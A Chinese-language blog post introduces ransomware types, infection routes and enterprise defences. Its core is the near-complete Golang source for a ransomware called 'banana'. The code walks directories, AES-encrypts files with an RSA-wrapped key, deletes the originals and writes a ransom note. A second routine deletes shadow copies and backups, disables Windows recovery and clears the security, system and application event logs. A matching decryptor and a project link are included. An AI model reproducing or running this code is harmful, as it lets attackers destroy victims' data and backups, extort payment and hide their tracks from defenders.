勒索病毒banana

勒索病毒是黑客通过锁屏、加密文件等方式劫持用户文件并以此敲诈用户钱财的恶意软件。黑客利用系统漏洞或通过网络钓鱼等方式，向受害电脑或服务器植入病毒，进以加密硬盘上的关键文档（如ERP数据库文件）乃至整个硬盘，然后向受害者索要数额不等的赎金后才予以解密。该病毒性质恶劣、危害极大，一旦感染将给企业用户带来无法估量的损失。

勒索病毒所产生的庞大收益令让黑客组织赚得盆满钵满。在利益驱使下，黑客组织不断采用尖端技术让勒索病毒变的越来越强大。直到2017年上半年，WannaCry（永恒之蓝）的爆发，很多中国企业用户才意识到勒索病毒的存在。WannaCry之后，Petya又再次在国外爆发，国内由于刚经历过WannaCry的洗礼，受到Petya攻击的用户并不多见。但之后的2-3个月，我们陆陆续续发现master、Sega2.0、arena开始有爆发的势头。

随着勒索攻击工具化程度越来越高，无数的勒索病毒在互联网中游荡，寻找着合适的目标。就像流感病毒入侵人体一样，感染的过程安静、缓慢，并不激烈…直到抵达临界点迅猛爆发，人体免疫系统已无力抵抗。目前，许多新式攻击媒介倾向与于缓慢低调，一般的网络防御手段在其面前如若无物。

美国联邦调查局报告称，每天有超过4,000起勒索软件攻击事件发生，而其他研究机构则表示，每天产生23万个新的恶意软件样本。

勒索病毒种类

1.文件加密勒索病毒

所有文件被加密（文件、图片、视频甚至是数据库），受感染的文件被加密后会被删除，用户通常会在文件夹中看到一个包含付款说明的文本文件。当用户尝试打开其中一个加密文件时，才可能会发现问题。最典型的案例就是WannaCry，该类型勒索病毒是目前最常见的勒索病毒。感染文件型勒索病毒后，病毒会更改系统桌面并展示勒索支付提示。

2.锁屏勒索病毒——WinLocker

WinLocker会锁定电脑屏幕并要求付款。它会呈现一个全屏图像并阻止所有其它窗口开启。幸运的是，这种类型的勒索病毒并不会加密用户的数据文件，数据有挽回的可能。

3.主引导记录（MBR）勒索病毒

主引导记录（MBR）是电脑硬盘驱动器的一部份，影响操作系统的启动功能。主引导记录勒索病毒会更改电脑的主引导记录，中断电脑的正常启动，然后在屏幕上显示要求赎金的内容，今年最流行的Petya就属于这类病毒。这类病毒不同于文件型勒索病毒，感染后病毒可能采用磁盘级加密技术覆写磁盘，数据基本无挽回可能。

4.网络服务器加密勒索病毒

这类病毒专门针对网络服务器上的文件进行加密。它通常使用内容管理系统中的已知漏洞，在网络服务上释放和安装勒索病毒，例如最近经常碰到的master勒索病毒。

5.移动设备勒索软件（安卓）

目前针对移动设备的勒索病毒主要存在于安卓系统上（iOS系统安全性要高一些，但也要注意及时升级），用户遭受感染的方式一般为下载、浏览不信任程序以及网站或伪装程序。

6.另类的勒索攻击——DDoS攻击

通过DDoS攻击来堵塞服务器通道。万幸的是这样的攻击不会影响到企业的数据安全。目前，国内市场中常常出现的DDoS一般分为四种：ARP攻击、ICMP攻击、TCP攻击、应用层攻击。DDoS攻击日渐猖獗，大量实践数据表明，DDoS特别青睐于安全管理等级不高的服务器。

下面我通过Golang实现一个简单的文件加密勒索病毒（勒索病毒banana）。

勒索测试

package main

import (
	"flag"

	"github.com/xxx/blackmail/Delete_VSSADMIN"
	"github.com/xxx/blackmail/Directory_traversal"
)

func main() {
	var pathName string
	flag.StringVar(&pathName, "pathName", "C:/Users/13107/Desktop/识别沙箱检测", "输入要加密的路径")
	flag.Parse()
	// pathName := "C:/Users/13107/Desktop/识别沙箱检测"
	Directory_traversal.Directory_traversal(pathName) // 加密文件
	Delete_VSSADMIN.Delete_VSSADMIN()                 // 删除卷影、备份等
}

行为

文件加密

1. 获取磁盘信息和文件信息

1. 遍历文件目录，只加密不是.banana后缀的

2. 获取每一个文件路径

   func GetAllFile(pathName string) {
   	conn := pathName
   	local_dir := conn
   	err := filepath.Walk(local_dir, file_path)
   	fmt.Println("Temp总共文件数量:", k)
   	if err != nil {
   		// fmt.Println("路径获取错误")
   		return
   	}
   }
   
   func file_path(FileName string, fi os.FileInfo, err error) error {
   	if fi.IsDir() {
   		return nil
   	}
   	k++
   	fmt.Println("filename:", FileName) // 输出文件名字 ->  byte读取文件 aes加密文件内容 将加密后的文件新建到 fileName.banana
   	// 读取文件AES 加密
   	if !strings.HasSuffix(FileName, ".banana") { // 判断后缀是否为.banana 文件 只加密不是.banana后缀的文件
   		wg.Add(1)
   		go func() {
   			defer wg.Add(-1)
   			AES_Encryption.AES_Encryption(FileName)
   
   		}()
   		wg.Wait()
   		return nil
   	}
   	return nil
   }
   

2.对每一个文件进行加密处理

1. 随机生成16位字符串作为AES的key

   package AES_Encryption
   
   import (
   	"math/rand"
   	"time"
   )
   
   func Random_Key(len int) string {
   	r := rand.New(rand.NewSource(time.Now().UnixNano()))
   	bytes := make([]byte, len)
   	for i := 0; i < len; i++ {
   		b := r.Intn(26) + 65
   		bytes[i] = byte(b)
   	}
   	return string(bytes)
   }
   

2. 用RSA加密算法生成公私钥

   // RSA公钥和私钥生成：
   package main
   
   import (
   	"crypto/rand"
   	"crypto/rsa"
   	"crypto/x509"
   	"encoding/pem"
   	"flag"
   	"fmt"
   	"os"
   )
   
   func RSAKeyGen(bits int) error {
   	privatekey, err := rsa.GenerateKey(rand.Reader, bits)
   	if err != nil {
   		fmt.Println("私钥文件生成失败")
   	}
   	fmt.Println("私钥为：", privatekey)
   	derStream := x509.MarshalPKCS1PrivateKey(privatekey)
   	block := &pem.Block{
   		Type:  "RSA Private key",
   		Bytes: derStream,
   	}
   	privatefile, err := os.Create("myprivatekey.pem")
   	defer privatefile.Close()
   	err = pem.Encode(privatefile, block)
   	if err != nil {
   		fmt.Println(err.Error())
   		return err
   	}
   	publickey := &privatekey.PublicKey
   	fmt.Println("公钥为：", publickey)
   	derpkix, err := x509.MarshalPKIXPublicKey(publickey)
   	block = &pem.Block{
   		Type:  "RSA Public key",
   		Bytes: derpkix,
   	}
   	if err != nil {
   		fmt.Println(err.Error())
   		return err
   	}
   	publickfile, err := os.Create("mypublic.pem")
   	defer publickfile.Close()
   	err = pem.Encode(publickfile, block)
   	if err != nil {
   		fmt.Println(err.Error())
   		return err
   	}
   	return nil
   }
   
   func main() {
   	var bits int
   	flag.IntVar(&bits, "b", 1024, "密码默认长度1024")
   	flag.Parse()
   	err := RSAKeyGen(bits)
   	if err != nil {
   		fmt.Println("RSA密码文件生成失败")
   	}
   	fmt.Println("RSA密码生成成功")
   }
   

3.用AES加密每一个文件，key为随机生成的AES key

package AES_Encryption

import (
 "bytes"
 "crypto/aes"
 "crypto/cipher"
 "crypto/rand"
 "encoding/base64"
 "io/ioutil"
 "os"

 "github.com/ed11s00n/blackmail/RSA_ENC_KEY"
)

const (
 StdLen  = 16
 UUIDLen = 20
 iv      = "0000000000000000"
)

var StdChars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")

func Get_aes_key() []byte {
 return NewLenChars(StdLen, StdChars)
}

// NewLenChars returns a new random string of the provided length, consisting of the provided byte slice of allowed characters(maximum 256).
func NewLenChars(length int, chars []byte) []byte {
 if length == 0 {
 	_ = 1
 }
 clen := len(chars)
 if clen < 2 || clen > 256 {
 	panic("Wrong charset length for NewLenChars()")
 }
 maxrb := 255 - (256 % clen)
 b := make([]byte, length)
 r := make([]byte, length+(length/4)) // storage for random bytes.
 i := 0
 for {
 	if _, err := rand.Read(r); err != nil {
 		panic("Error reading random bytes: " + err.Error())
 	}
 	for _, rb := range r {
 		c := int(rb)
 		if c > maxrb {
 			continue // Skip this number to avoid modulo bias.
 		}
 		b[i] = chars[c%clen]
 		i++
 		if i == length {
 			return b
 		}
 	}
 }
}

func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
 padding := blockSize - len(ciphertext)%blockSize
 padtext := bytes.Repeat([]byte{byte(padding)}, padding)
 return append(ciphertext, padtext...)
}

func PKCS5UnPadding(origData []byte) []byte {
 length := len(origData)
 unpadding := int(origData[length-1])
 return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
 decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
 if err != nil {
 	return nil, err
 }
 block, err := aes.NewCipher(key)
 if err != nil {
 	return nil, err
 }
 blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
 origData := make([]byte, len(decodeBytes))

 blockMode.CryptBlocks(origData, decodeBytes)
 origData = PKCS5UnPadding(origData)
 return origData, nil
}

func AesEncrypt(encodeBytes []byte, key []byte) (string, error) {
 block, err := aes.NewCipher(key)
 if err != nil {
 	return "", err
 }

 blockSize := block.BlockSize()
 // fmt.Println(blockSize)
 encodeBytes = PKCS5Padding(encodeBytes, blockSize)

 blockMode := cipher.NewCBCEncrypter(block, []byte(iv))
 crypted := make([]byte, len(encodeBytes))
 blockMode.CryptBlocks(crypted, encodeBytes)

 return base64.StdEncoding.EncodeToString(crypted), nil
}

func AES_Encryption(fileName string) { // 主
 // fmt.Println(fileName)
 var Encrypted_file = []byte{}
 file_byte, _ := ioutil.ReadFile(fileName)
 Encrypted_file = append(Encrypted_file, file_byte...)
 // fmt.Println(Encrypted_file)
 key := Random_Key(16) // AES的key为随机生成的
 // 将随机生成的AES key 进行RSA加密:
 rsa_key := RSA_ENC_KEY.RSAEncrypt(key)
 b, _ := AesEncrypt([]byte(Encrypted_file), []byte(key))
 b0 := []byte("\r\n\r\nYour files have been encrypted\r\n\r\n")
 b1 := append([]byte(rsa_key), b0...)
 b1 = append(b1, b...)
 err := ioutil.WriteFile(fileName+".banana", b1, 0666)
 if err != nil {
 	return
 }
 Delete_File(fileName) // 删掉原文件
 // fmt.Println("enc_info: " + string(b))
}

4. 用RSA加密算法加密随机生成的key值

rsa_key := RSA_ENC_KEY.RSAEncrypt(key)

5.删除原文件

// 删除原文件
func Delete_File(fileName string) {
err := os.Remove(fileName)
if err != nil {
	return
} else {
	return
}
}

6.保存加密文件（三部分组成）

1. RSA加密的随机生成的AES key

   sj1Fxi9JXIcopFmRLvz0jBGzR06w3kYLePN3nTLEndzxlwSDbbT8xL943EOLnnOXeTT5HU25PdkTMNQXlFVBFaCZOvAtor/X/2FQsyTAlKIwo25RHbTnWhZ7oePSeyaeYD++Wtoz/2fgsqhnaal4uEdHmognPDh43IHp9Yogat8=
   

   2. 账户、以及解密方式

      You have been blackmailed，Please contact me at ********
      

   3. 加密以后的文件内容

      IvH+YrCg5yfD/XIBpGdpSgTe2F/sK9kqqoYqC3DsW9T9cO+cBcSmG54q8kXvQ7mI6Lb6hPSdI2KK8ylRP3PYNiPCu59lDb1paXNScANhdLS1NwO8zAMhZxAzK+6GEWFPQnbFiSO7H5IbklfUAjCCnzNowIX7s+9ExuaMU+RHp5V6HXDOgNTULprkoOmxDUTXQEm75EiUtV5EebP8muNCCNoL5od1lYyEk578WM8oDpamkANTZ82ar1QtFsjaot+kWJNE6Z94DiVc1KUTCIbh6dYx47G4zZ4IncQ6oeSRCbqmrURqSDoe/drfWgSxqhE+igGJgNLJ7BEF2P20d6HMW/Iy6zFioruXhR1h1yzcr43HQ8D3ZeWYXcLhsNP2cDk7ZLnDbWtk7w+9d8QOeuNz/lYQkcL+ewOtOfc7X0yqfywoWNaFf10gW0SK4tvz0ZcYeMLmGqWI5VjOb+mzDCzEjbbLkQPAPHiub9pSd6q57RR+FzpHC4riaAYnPFMmiLEcbu5Ally0DjKJKNWlIA7sLb4uXRwNcOzk1yLm/si6kfAaluvmJRCyH0xKy1/+1Lj3X9cIfJjc5YKkxj1KciuNjwLck+vw0nD59h1MBxoDAMbnBDqvnDYISvnXu/0UXFlpDDfSaz1C8I6Cw5yHcBUxmk79/08M2+u00iYYo9EWZaRrrStsQh1+icOy6X24NhzdzcXSsatk2p747Xczb2NAMsipEx4AxHaRSYkxxdq1sTzfag6l9LnftkqvPojOFWms7NlKTI0kiMkkGWDSKdiIls9hcbXvv/e48PcBSrpnvRYpr0KTvrB1n7L43nfXp/W0cYcgk1WuH+wuGcvwVmm3N8TNLshIuOaCP6Ze6rs9E0GgyZPIyAw5qoJHx+ojTMlALsiI/GhvtbAgDquVS+2BCwXXJNbuAo2jb8A/KG0aH43YfxoP3rKPMAUi1KRarH4MKgf5d/qphOd7QLb9l1oy+ucnjvI+BoYL1QlmY3XmF/VXwhPiFUePmHL4Tq+rJQg2tDWjNcLDH2BjeU9u1bKZUNqHBJ5bL7pEto8ws7RV85Ef6LjJgipEz2GMT1CRh46L5xKlHY1l2nSB+eWxLXVSfDMmlTGzqQd434pni8dsq2/43zzX1SL3bEB37otsb8jSJZVKs6zItoGFqHhLq/IIMoeXwq4wW+npPYJr905s01yc9XzM/NVqJFDSy26W8vQJvzRErMSZgU7NHe/sxgXD8Wq+edWDzM3DUW9OKa3oX4osyYFQ8pAtrHxpXSzXhwnRbCtvokzEvGztSP5XK3Fz6TkBx0Cz1Hs0ljUHUSNegQTFyypN2wjybFL5NmVqymWsq6eL0y86qqijQVVynmtm1GXW1B8+p755ZQ9/XiAbT3HlU47wv2HFu4gPybyaLe5zJxe0IujyqTehhJ4kVMIylM8FfPNSBN3Ns9lop66Vh8RssJmb6q7H+e2B8ZsAsM1Su21TWWzaJaaLMG363FfNNSikHSRUNWT6gpk3G54ZZlvVA5Oujq6M6f6fuk6UlULc8MrUM6IrjCDbw1jvdyZZNeognGeJB1Vf1G7j/66wdtO6GBhDQT/MGHfSlccQr0HwO4njJKUe1mgJqeP41/9arfBQtj1llAEo4N/wqpUeaMmhngyany1CrskkhYrRHd9lOdqmMvZ7yRGYFqzFzNOXRpMWesoKlM69Zq7TBshwZDDaAcq1qkxNlXGbMVxniW8yl+aHdyTz+unpcCznOAgHTR0n/nVa2acUUw/gxgUxHx/prGtzzz0ilNyWgpaMrsul
      

   4. 保存为filename.banana(例：原文件为1.txt，则新文件为1.txt.banana)

删除卷影、备份

1. 删除卷影

2. 删除备份

   package Delete_VSSADMIN
   
   import (
   	"fmt"
   	"os/exec"
   )
   
   func Delete_VSSADMIN() {
   	// "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
   	// vssadmin delete shadows /all /quiet
   	// wmic shadowcopy delete
   	// bcdedit /set {default} bootstatuspolicy ignoreallfailures
   	// bcdedit /set {default} recoveryenabled no
   	// wbadmin delete catalog -quiet
   	c1 := exec.Command("cmd", "/c", "vssadmin", "delete", "shadows", "/all", "/quiet", "&", "wmic", "shadowcopy", "delete", "&", "bcdedit", "/set", "{default}", "bootstatuspolicy", "ignoreallfailures", "&", "bcdedit", "/set", "{default}", "recoveryenabled", "no", "&", "wbadmin", "delete", "catalog", "-quiet") //"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
   	if err := c1.Run(); err != nil {
   		fmt.Println("Error: ", err)
   	}
   	for i := 0; i < 3; i++ {
   		// "C:\Windows\System32\cmd.exe" /c vssadmin Delete Shadows /All /Quiet
   		c2 := exec.Command("cmd", "/c", "vssadmin", "Delete", "Shadows", "/All", "/Quiet")
   		if err := c2.Run(); err != nil {
   			fmt.Println("Error: ", err)
   		}
   		// "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
   		c3 := exec.Command("cmd", "/c", "bcdedit", "/set", "{default}", "recoveryenabled", "No")
   		if err := c3.Run(); err != nil {
   			fmt.Println("Error: ", err)
   		}
   		// "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
   		c4 := exec.Command("cmd", "/c", "bcdedit", "/set", "{default}", "bootstatuspolicy", "ignoreallfailures")
   		if err := c4.Run(); err != nil {
   			fmt.Println("Error: ", err)
   		}
   		// "C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP
   		c5 := exec.Command("cmd", "/c", "wbadmin", "DELETE", "SYSTEMSTATEBACKUP")
   		if err := c5.Run(); err != nil {
   			fmt.Println("Error: ", err)
   		}
   		// "C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
   		c6 := exec.Command("cmd", "/c", "wbadmin", "DELETE", "SYSTEMSTATEBACKUP", "-deleteOldest")
   		if err := c6.Run(); err != nil {
   			fmt.Println("Error: ", err)
   		}
   		// "C:\Windows\System32\cmd.exe" /c wmic SHADOWCOPY /nointeractive
   		c7 := exec.Command("cmd", "/c", "wmic", "SHADOWCOPY", "/nointeractive")
   		if err := c7.Run(); err != nil {
   			fmt.Println("Error: ", err)
   		}
   		// "C:\Windows\System32\cmd.exe" /c wevtutil cl security
   		c8 := exec.Command("cmd", "/c", "wevtutil", "cl", "security")
   		if err := c8.Run(); err != nil {
   			fmt.Println("Error: ", err)
   		}
   		// "C:\Windows\System32\cmd.exe" /c wevtutil cl system
   		c9 := exec.Command("cmd", "/c", "wevtutil", "cl", "system")
   		if err := c9.Run(); err != nil {
   			fmt.Println("Error: ", err)
   		}
   		// "C:\Windows\System32\cmd.exe" /c wevtutil cl application
   		c10 := exec.Command("cmd", "/c", "wevtutil", "cl", "application")
   		if err := c10.Run(); err != nil {
   			fmt.Println("Error: ", err)
   		}
   	}
   
   }
   

传播

1.邮件传播

这种传播方式也是病毒界老套路的传播方式。病毒执行体附着于邮件附件的docx、XLS、TXT等文件中，攻击者以广撒网的方式大量传播垃圾邮件、钓鱼邮件，一旦收件人打开邮件附件或者点击邮件中的链接地址，勒索软件会以用户看不见的形式在后台静默安装，实施勒索。

2.漏洞传播

这种传播方式是这几年非常流行的病毒传播方式。通过网络、系统、应用程序的漏洞攻击用户。例如今年在国内泛滥的WannaCry就是这样的典型：利用微软445端口协议漏洞，感染传播网内计算机。

3.捆绑传播

与其他恶意软件捆绑传播，这种传播方式这两年有所变化。有用户使用P2P下载例如Bt、迅雷、电驴等下载工具下载文件后，勒索病毒体同下载文件进行捆绑导致用户感染。

4.介质传播

可移动存储介质、本地和远程的驱动器以及网络共享传播、社交媒体传播。

文件解密

package main

import (
	"flag"

	"github.com/xxx/blackmail_dec/Directory_traversal"
)

func main() {
	var pathName string
	flag.StringVar(&pathName, "pathName", "C:/Users/13107/Desktop/识别沙箱检测", "输入要解密的路径")
	flag.Parse()
	// pathName := "C:/Users/13107/Desktop/识别沙箱检测"
	Directory_traversal.Directory_traversal(pathName) // 解密文件
}

1.获取磁盘信息和文件信息

1. 遍历文件目录，只解密是.banana后缀的

2. 获取每一个文件路径

   package Directory_traversal
   
   import (
   	"fmt"
   	"os"
   	"path/filepath"
   	"strings"
   	"sync"
   
   	AES_Decryption "github.com/xxx/blackmail_dec/AES_DEcryption"
   )
   
   var wg sync.WaitGroup
   var k int
   
   // 遍历pathName下所有文件
   func GetAllFile(pathName string) {
   	conn := pathName
   	local_dir := conn
   	err := filepath.Walk(local_dir, file_path)
   	fmt.Println("Temp总共文件数量:", k)
   	if err != nil {
   		// fmt.Println("路径获取错误")
   		return
   	}
   }
   
   func file_path(FileName string, fi os.FileInfo, err error) error {
   	if fi.IsDir() {
   		return nil
   	}
   	k++
   	fmt.Println("filename:", FileName) 
   	// 读取文件AES 加密
   	if strings.HasSuffix(FileName, ".banana") { // 判断后缀是否为.banana 文件 只解密.banana后缀的文件
   		wg.Add(1)
   		go func() {
   			defer wg.Add(-1)
   			AES_Decryption.File_Processing(FileName) // 这里实现解密
   
   		}()
   		wg.Wait()
   		return nil
   	}
   	return nil
   }
   func Directory_traversal(pathName string) { //主
   	GetAllFile(pathName)
   }
   

2.对每一个文件进行加密处理

1. 用RSA解密算法解密随机生成的key值

   package RSA_DEC_KEY
   
   import (
   	"crypto/rand"
   	"crypto/rsa"
   	"crypto/x509"
   	"encoding/base64"
   	"encoding/pem"
   	"errors"
   	"fmt"
   	"os"
   )
   
   var privatekey = FileLoad("myprivatekey.pem")
   
   func FileLoad(filepath string) []byte {
   	privatefile, err := os.Open(filepath)
   	defer privatefile.Close()
   	if err != nil {
   		return nil
   	}
   	privateKey := make([]byte, 2048)
   	num, err := privatefile.Read(privateKey)
   	if err != nil {
   		return nil
   	}
   	return privateKey[:num]
   }
   func RSADecrypt(cipertext []byte) ([]byte, error) {
   	block, _ := pem.Decode(privatekey)
   	if block == nil {
   		return nil, errors.New("private key is bad")
   	}
   	priv, err := x509.ParsePKCS1PrivateKey(block.Bytes)
   	if err != nil {
   		return nil, err
   	}
   	return rsa.DecryptPKCS1v15(rand.Reader, priv, cipertext)
   }
   
   // key := "cOMzS+CqcN7+8jboX2YlblEWX8c0AR21v2WwCg8xadKyGKZEzd8Imzt1gEzQRwsrYXi+Zf71ok+XBvqaoYhbOBlI17tsBBElJjW7hHat65RH08T3W0v3Qp0xsPyUnVZhjFSBoSYaNFAV8BelR5AkszfaGCjId9GmZeCHBuXamL8="
   //主 传入RSA加密的AES key
   func RSA_DEC_KEY(RSA_key string) string { //主 传入RSA加密的AES key
   	// var data []byte
   	var err error
   	// fmt.Println(RSA_key)
   
   	data, err := base64.StdEncoding.DecodeString(RSA_key)
   	if err != nil {
   		fmt.Println("错误", err)
   	}
   	origData, err := RSADecrypt(data) //解密
   	if err != nil {
   		fmt.Println("错误", err)
   	}
   	// fmt.Println("解密:", string(origData))
   	return string(origData)
   	//pk := FileLoad("myprivatekey.pem")
   	//fmt.Println(string(pk))
   }
   
   

   用AES key解密每一个文件

   package AES_Decryption
   
   import (
   	"crypto/aes"
   	"crypto/cipher"
   	"encoding/base64"
   	"io/ioutil"
   	"os"
   	"strings"
   
   	"github.com/ed11s00n/blackmail_dec/RSA_DEC_KEY"
   )
   
   var iv = "0000000000000000"
   
   func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
   	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
   	if err != nil {
   		return nil, err
   	}
   	block, err := aes.NewCipher(key)
   	if err != nil {
   		return nil, err
   	}
   	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
   	origData := make([]byte, len(decodeBytes))
   
   	blockMode.CryptBlocks(origData, decodeBytes)
   	origData = PKCS5UnPadding(origData)
   	return origData, nil
   }
   
   // 删除原加密文件
   func Delete_File(fileName string) {
   	err := os.Remove(fileName)
   	if err != nil {
   		return
   	} else {
   		return
   	}
   }
   func PKCS5UnPadding(origData []byte) []byte {
   	length := len(origData)
   	unpadding := int(origData[length-1])
   	return origData[:(length - unpadding)]
   }
   
   //  解密文件
   func AES_Decryption(key string, data string) []byte { // key为AES加密文件时随机生成的key , data为加密以后的数据，返回byte类型原数据
   	var info_list = [...]string{data}
   	original_data, _ := AesDecrypt(info_list[0], []byte(key))
   	// fmt.Println(string(original_data))
   	return original_data
   }
   
   // 主 对传入文件进行处理
   func File_Processing(fileName string) {
   	b, err := ioutil.ReadFile(fileName)
   	if err != nil {
   		return
   	}
   	lineSlice := strings.Split(string(b), "\r\n")
   	RSA_key := lineSlice[0]
   	key := RSA_DEC_KEY.RSA_DEC_KEY(RSA_key)
   	data := lineSlice[4]
   	Delete_File(fileName) // 删除加密文件
   	original_data := AES_Decryption(key, data)
   	err2 := ioutil.WriteFile(fileName[:len(fileName)-7], original_data, 0666)
   	if err2 != nil {
   		return
   	}
   }
   

2. 生成新文件为filename减去.banana后缀

   err2 := ioutil.WriteFile(fileName[:len(fileName)-7], original_data, 0666)
   

3.删除原文件

// 删除原加密文件
func Delete_File(fileName string) {
	err := os.Remove(fileName)
	if err != nil {
		return
	} else {
		return
	}
}

项目地址：https://github.com/Ed1s0nZ/banana_blackmail

勒索病毒威胁的解决方案

企业用户应该提升新兴威胁的对抗能力。传统的基于合规要求的防御体系，对于勒索软件等新兴威胁在发现、检测、处理上已经呈现出力不从心的状态。而通过对抗式演习，从安全技术、安全管理和安全运营等多个维度出发，对企业的互联网边界、防御体系及安全运营制度等多方面进行仿真检验，可以持续提升企业对抗新兴威胁的能力。

根据勒索病毒普遍的攻击方式，我们提供以下建议

1.加强网络层防御

我们正在经历全球互联网化的浪潮，几乎所有的商业企业都已经接入互联网。企业的边界渐渐模糊，网络逐渐成为企业的虚拟边界。有效加强企业网络层的安全防御水平，对企业防止来自网络层的恶意攻击非常有必要。作为网络层防御的第一道卫士，我们建议：企业用户配备专业的网络安全设备（网络防火墙系统）。

2.加强应用系统防护

目前企业用户大量使用ERP、CRM、OA等管理软件，已经开始将交易、管理、运营的数据迁移至信息化系统之中，所以管理和业务软件的安全至关重要。

由于勒索病毒的泛滥，已经造成多起企业ERP系统被加密，企业业务无法正常开展的案例。防火墙由于防御颗粒度粗，在网络架构中位置偏低（网络层在应用层之下），难以防御针对应用层关键业务系统的攻击。另外，不同的管理和业务系统软件，因为其开发语言、开发过程、开发环境，以及其应用场景、应用过程、应用环境的不同，会有不同的安全隐患存在。企业用户需要进行有针对的威胁检测和威胁防护，并且部署专属的应用系统防御产品。我们建议：企业用户配备专属的应用安全设备（ERP安全防护系统）。

3.加强终端安全防御

勒索病毒的目的很简单：控制企业核心业务系统，掌握企业重要业务数据。只有这样，企业才能快速的支付“赎金”。业务实践和统计数据显示，95%以上针对企业用户的网络攻击，目标都是业务服务器和业务终端。但是，很多企业用户对核心业务系统基础设施（服务器和PC）防护意识薄弱，认为安装一款免费杀毒软件就能够“万事大吉”。对于终端防御来讲，查杀病毒只是一个环节，还需要科学的对“操作系统补丁、操作系统漏洞、高可持续攻击、0day攻击”进行系统的防御。我们建议：企业用户应该进行两方面的安全防御，服务器做好主机加固、终端安全管理、防病毒；PC：做好防病毒管理。

4.做好数据备份

数据备份是企业遭受到勒索病毒攻击后最后的补救措施。但是，新型勒索病毒越来越智能，会主动搜寻备份设备与备份软件，一旦发现备份系统将优先进行加密，实施勒索。我们遇到的案例中，企业ERP系统遭到勒索病毒的攻击，运行服务器、灾备服务器、备份服务器被一锅端，丢失长达6年的业务数据。我们建议：企业用户日常化关键数据备份工作。有条件的企业，建议做好异地备份，并通过网络隔离保障备份数据安全。